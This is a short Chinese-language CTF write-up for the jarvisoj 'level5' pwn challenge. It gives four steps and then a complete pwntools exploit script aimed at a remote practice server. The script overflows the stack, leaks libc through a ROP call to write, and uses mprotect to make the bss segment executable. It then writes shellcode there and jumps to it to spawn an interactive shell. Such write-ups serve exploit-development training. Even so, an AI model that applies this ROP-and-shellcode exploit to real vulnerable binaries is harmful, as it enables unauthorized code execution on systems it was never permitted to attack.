exp 脚本
- 利用 rop write 泄露 libc 地址。
- 获得函数 mprotect 的地址。
- 返回漏洞函数利用 rop mportect 改写权限使得 bss 段可执行。
- 返回漏洞函数利用 rop read 往 bss 段写入 shellcode。
- 返回漏洞函数再次栈溢出控制返回地址指向 bss 段执行 shellcode 。
from pwn import *
context.log_level='DEBUG'
r=remote('node3.buuoj.cn',25687)
#r = process('./level3_x64')
file=ELF('./level3_x64')
#libc=ELF('./libc-2.19.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600a88
start_addr=0x4004f0
payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)
libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b92
payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)
payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)
r.interactive()
get flag
内容来源
jarvisoj level5爬坑